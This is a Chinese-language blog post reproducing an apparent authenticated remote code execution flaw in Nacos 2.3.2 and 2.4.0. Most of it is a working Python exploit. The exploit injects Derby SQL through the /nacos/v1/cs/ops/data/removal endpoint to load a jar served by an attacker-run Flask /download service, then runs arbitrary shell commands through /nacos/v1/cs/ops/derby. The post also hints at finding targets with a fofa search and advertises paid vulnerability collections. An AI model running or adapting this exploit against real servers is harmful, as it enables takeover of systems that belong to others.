首页 > 其他分享 >0day nacos RCE命令执行漏洞复现含POC

0day nacos RCE命令执行漏洞复现含POC

时间:2024-07-16 08:56:40浏览次数:14  
标签:0day nacos POC 漏洞 sql RCE post 星球 id

 0x01 阅读须知

        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他,如有侵权请联系删除!!!

0x02 产品概述

      NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。。

0x03 漏洞描述

        RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。

fofa

nacos

0x04 POC利用

环境准备:下载nacos2.3.2或2.4.0版本,解压。

使用 startup.cmd -m standalone 启动nacos 

POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖 

1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,项目里放了一个接收参数执行java命令的

2.执行exploit.py,输入地址和命令即可执行。

项目地址

https://github.com/ayoundzw/nacos-poc

Nacos 是 Alibaba 开源的一款用于微服务架构的注册中心和配置中心。它为开发人员提供了轻量级的服务发现和配置管理功能。

图片

图片

影响范围

nacos 2.3.2nacos 2.4.0其他版本不确定nacos 0day 需要登录到后才才能利用

代码分析

Service.py 漏洞利用函数


def exploit(target, command, service):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service)
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command)
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break
removal_url 和 derby_url:构建用于发送请求的URL。for i in range(0, sys.maxsize):无限循环,直到成功利用漏洞。id:生成一个随机字符串,用于标识SQL注入的payload。post_sql:构建SQL注入的payload,安装一个恶意的Java函数。option_sql:构建SQL语句,利用恶意函数执行命令。get_sql:构建SQL查询,执行命令并获取结果。requests.post:发送POST请求,上传恶意SQL。requests.get:发送GET请求,执行命令并获取结果。

主函数


if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:calc:') or command
    exploit(target=target, command=command, service=service)
service:构建下载恶意Jar文件的URL。target 和 command:从用户输入获取目标URL和要执行的命令。exploit:调用漏洞利用函数。

Exploit.py

payload 是一个Base64编码的字符串,表示一个压缩文件(ZIP文件)

创建Flask应用
app = Flask(__name__)
创建一个Flask应用实例。

定义路由和视图函数


python
@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    response = Response(data, mimetype="application/octet-stream")
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
    return response

定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数。

data:将Base64编码的 payload 解码为二进制数据。

response:创建一个HTTP响应对象,包含解码后的数据,并设置MIME类型为 application/octet-stream(表示二进制文件)。

response.headers["Content-Disposition"]:可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。返回响应对象。

Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config 模块中读取

关联漏洞

用友-nc-cloud-blobRefClassSea反序列化.docx

朗新天霁ehr-GetShortMessage-sql注入漏洞.docx

中科聚网信息技术有限公司一体化运营平台importVisualModuleImg接口存在文件上传漏洞.docx

同享TXEHR V15人力管理管理平台DownloadFile存在任意文件下载漏洞.docx

14Finger多个漏洞.docx

早加入早享受,即将涨价到129元!

标签:0day,nacos,POC,漏洞,sql,RCE,post,星球,id
From: https://blog.csdn.net/weixin_43167326/article/details/140455501

相关文章

  • CodeForces - 1485F
    题目大意给定数组\(b\),求有多少\(a\)数组满足\(a_i=b_i\or\\sum\limits_{k=1}^ia_k=b_i\)。分析既然有前缀和,不妨将前缀和计入状态中,设\(dp_{i,j}\)为前\(i\)个前缀和为\(j\)的方案数。考虑两种条件的转移方程。若选第一种,有\(dp_{i,j}=dp_{i-1,j-b_i}\)若......
  • Codeforces Round #956 (Div. 2) and ByteRace 2024
    目录写在前面ABCDEF写在最后写在前面比赛地址:https://codeforces.com/contest/1983孩子们我回来了。这场实在是太对胃口,vp不到1h就4题了之后EF也口出来了,然而赛时睡大觉去了没打真是亏死。感觉自己的文字能力已经很牛逼了,不需要再多练了,以后的题解都会写得简略些。A......
  • 多源谱修复学习算法(Multi-source Spectral Repair Learning Algorithm, MSRL)
    多源谱修复学习算法(Multi-sourceSpectralRepairLearningAlgorithm,MSRL)是一种针对非完备多源数据的处理方法,旨在解决因数据缺失而导致的多源数据学习问题。非完备多源数据是指在数据采集过程中,由于各种原因(如数据源多样性带来的质量差异或数据获取能力限制),导致某些样......
  • 多源谱嵌入融合学习算法(Multi-source Spectral Embedding Fusion Learning Algorithm,
    多源谱嵌入融合学习算法(Multi-sourceSpectralEmbeddingFusionLearningAlgorithm,简称MSEF)是一种专门设计用于处理多源数据的高级学习方法,其目标是在不同数据源之间建立一致的表示,从而提高聚类性能和数据理解的全面性。这种算法的核心在于利用全局和局部谱嵌入的融合,以......
  • 【vue深入学习第2章】Vue.js 中的 Ajax 处理:vue-resource 库的深度解析
    Vue.js中的Ajax处理:vue-resource库的深度解析在现代前端开发中,Ajax请求是与后端进行数据交互的关键技术。Vue.js作为一个渐进式JavaScript框架,提供了多种方式来处理Ajax请求,其中vue-resource是一个较为常用的库。尽管vue-resource在Vue2.x之后不再是官方推荐的......
  • 【译】The danger of TaskCompletionSource class
    来自SergeyTepliakov的另一篇https://devblogs.microsoft.com/premier-developer/the-danger-of-taskcompletionsourcet-class/#comments当使用async/await时,如果您想手动控制任务的生存期,TaskCompletionSource<T>类是一个非常有用的工具。下面是TaskCompletionSource的一个......
  • codeforces 1980 E. Permutation of Rows and Columns
    题目链接https://codeforces.com/problemset/problem/1980/E题意共输入\(T\)组测试用例,每组测试用例第一行输入两个整数\(n,m\),分别代表输入的数据的行数和列数,其中\(n*m\leq2*10^5\)。接下来输入两个\(n\)行\(m\)列的矩阵\(a,b\),对于每个矩阵中的元素\(x_{i,j}\)都是......
  • Reinforced Causal Explainer for GNN论文笔记
    论文:TPAMI2023 图神经网络的强化因果解释器论文代码地址:代码目录AbstractIntroductionPRELIMINARIESCausalAttributionofaHolisticSubgraph​individualcausaleffect(ICE)​*CausalScreeningofanEdgeSequenceReinforcedCausalExplainer(RC-Explaine......
  • 使用Spring Boot集成Nacos
    使用SpringBoot集成Nacos大家好,我是微赚淘客系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!在现代微服务架构中,服务发现和配置管理是两个非常重要的组成部分。Nacos作为阿里巴巴开源的一个动态服务发现、配置管理和服务管理平台,非常适合用来管理SpringBoot微服务应用。本......
  • Solution - Codeforces 1311E Construct the Binary Tree
    先去考虑找一下无解条件。首先就是有\(d\)关于\(n\)的下界\(L\),就是弄成一颗完全二叉树的答案。其次有\(d\)关于\(n\)的上界\(R\),就是成一条链的样子。首先当\(d<L\)或\(R<d\)时显然无解。对于\(L\led\leR\)又如何去判定。能发现没有一个比较好的判定......